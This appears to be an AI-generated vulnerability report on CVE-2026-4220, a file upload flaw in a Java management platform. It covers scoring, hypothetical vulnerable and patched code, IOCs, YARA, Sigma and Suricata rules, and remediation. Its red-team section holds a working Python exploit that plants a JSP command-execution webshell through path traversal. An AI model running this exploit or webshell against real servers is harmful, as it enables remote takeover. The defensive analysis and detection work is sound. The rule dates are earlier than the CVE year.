CVE-2026-4220

Executive Summary

CVE-2026-4220 is a critical unrestricted file upload vulnerability in Technologies Integrated Management Platform version 7.17.0. The flaw resides in the /SetWebpagePic.jsp endpoint, where the targetPath and Suffix arguments are not properly sanitized, allowing an attacker to upload arbitrary files to the server. This can lead to remote code execution (RCE), data exfiltration, or full server compromise. The exploit has been publicly disclosed, and no vendor patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the public availability of the exploit increases risk.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Java-based web application (Technologies Integrated Management Platform). No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data access possible.
• Integrity Impact: High (I:H) – Arbitrary file upload can modify system files.
• Availability Impact: High (A:H) – Uploaded malicious files can disrupt service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority vulnerability.

Deep Dive & Mechanics

The vulnerability exists in the /SetWebpagePic.jsp endpoint, which is designed to handle image uploads for webpage customization. The application fails to validate the targetPath and Suffix parameters, allowing an attacker to specify arbitrary file paths and extensions.

Root Cause: The targetPath parameter is used to construct the file save path without proper sanitization, enabling directory traversal (e.g., ../../webapps/ROOT/). The Suffix parameter controls the file extension, allowing the upload of executable files like .jsp, .war, or .sh.

Attack Flow:

1. Attacker sends a POST request to /SetWebpagePic.jsp with a malicious file (e.g., a JSP webshell) and sets targetPath to a web-accessible directory and Suffix to .jsp.
2. The server saves the file to the specified path.
3. Attacker accesses the uploaded file via HTTP, triggering execution of the malicious code.

Impact: Successful exploitation grants the attacker the ability to execute arbitrary commands on the server, potentially leading to full system compromise.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable logic:

Vulnerable Code (JSP):

<%
String targetPath = request.getParameter("targetPath");
String suffix = request.getParameter("Suffix");
String fileName = request.getParameter("fileName");
// No validation of targetPath or suffix
String fullPath = application.getRealPath("/") + targetPath + "/" + fileName + "." + suffix;
File uploadedFile = new File(fullPath);
// Save file without checking extension
part.write(fullPath);
%>

Patched Code (Hypothetical):

<%
String targetPath = request.getParameter("targetPath");
String suffix = request.getParameter("Suffix");
String fileName = request.getParameter("fileName");
// Whitelist allowed directories
if (!targetPath.startsWith("/uploads/") || targetPath.contains("..")) {
    response.sendError(403, "Invalid path");
    return;
}
// Whitelist allowed extensions
List<String> allowedExtensions = Arrays.asList("jpg", "png", "gif");
if (!allowedExtensions.contains(suffix.toLowerCase())) {
    response.sendError(403, "Invalid file type");
    return;
}
String fullPath = application.getRealPath("/") + targetPath + "/" + fileName + "." + suffix;
File uploadedFile = new File(fullPath);
part.write(fullPath);
%>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Python 3.x with requests library.
• Target server running Technologies Integrated Management Platform 7.17.0.

Exploit Script:

import requests

target_url = "http://target.com/SetWebpagePic.jsp"
webshell_content = """
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
    out.println(line);
}
%>
"""

# Upload webshell
files = {'file': ('shell.jsp', webshell_content, 'text/plain')}
params = {
    'targetPath': '../../webapps/ROOT/',
    'Suffix': 'jsp',
    'fileName': 'shell'
}
response = requests.post(target_url, files=files, params=params)
if response.status_code == 200:
    print("Webshell uploaded successfully")
    print("Access at: http://target.com/shell.jsp?cmd=id")
else:
    print("Upload failed")

Usage:

1. Replace target.com with the actual target IP/domain.
2. Run the script.
3. Access the webshell via http://target.com/shell.jsp?cmd=id.

Blue Team (Defensive)

Detection Steps:

1. Monitor HTTP POST requests to /SetWebpagePic.jsp with unusual targetPath or Suffix parameters.
2. Check for files with .jsp, .war, or .sh extensions in unexpected directories (e.g., /webapps/ROOT/).
3. Review server logs for directory traversal patterns (e.g., ../ in targetPath).

Honeypot Setup:

• Deploy a fake /SetWebpagePic.jsp endpoint that logs all requests and alerts on suspicious parameters.
• Use a web application firewall (WAF) to block requests with targetPath containing ../ or Suffix not in a whitelist.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /SetWebpagePic.jsp with parameters targetPath and Suffix.
• Outbound connections from the server to unknown IPs (C2 traffic).
• Unusual file extensions in HTTP responses (e.g., .jsp files in non-standard paths).

File System IOCs:

• Unexpected files in web-accessible directories (e.g., /webapps/ROOT/shell.jsp).
• Files with extensions .jsp, .war, .sh in upload directories.
• Modified timestamps on critical system files.

Log IOCs:

• Server logs showing targetPath with ../ sequences.
• Error logs indicating failed file type validation (if any).
• Access logs showing repeated requests to /SetWebpagePic.jsp.

Detection Engineering

YARA Rule

rule CVE_2026_4220_Webshell_Upload {
    meta:
        description = "Detects webshell upload attempts targeting CVE-2026-4220"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-4220"
    strings:
        $jsp_webshell = "<%@ page import=\"java.io.*\" %>" nocase
        $cmd_param = "cmd=" nocase
        $target_path = "targetPath" nocase
        $suffix_param = "Suffix" nocase
    condition:
        any of ($jsp_webshell, $cmd_param) and any of ($target_path, $suffix_param)
}

Sigma Rule

title: CVE-2026-4220 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /SetWebpagePic.jsp with suspicious parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/SetWebpagePic.jsp'
        cs-uri-query|contains:
            - 'targetPath'
            - 'Suffix'
    condition: selection
falsepositives:
    - Legitimate image uploads with correct parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-4220 Unrestricted File Upload Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/SetWebpagePic.jsp"; http.uri; content:"targetPath"; http.uri; content:"Suffix"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the network if possible.
2. Apply virtual patching using a WAF to block requests to /SetWebpagePic.jsp with targetPath containing ../ or Suffix not in a whitelist.
3. Disable the /SetWebpagePic.jsp endpoint if not required.

Long-term Fixes:

1. Vendor Patch: Await an official patch from Technologies. Contact the vendor for updates.
2. Code Fix: Implement input validation for targetPath (whitelist allowed directories) and Suffix (whitelist allowed extensions).
3. Upgrade: If a patched version becomes available, upgrade immediately.

Compensating Controls:

• Restrict file upload functionality to authenticated users only.
• Store uploaded files outside the web root.
• Use a file type validation library (e.g., Apache Tika) to verify file content.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.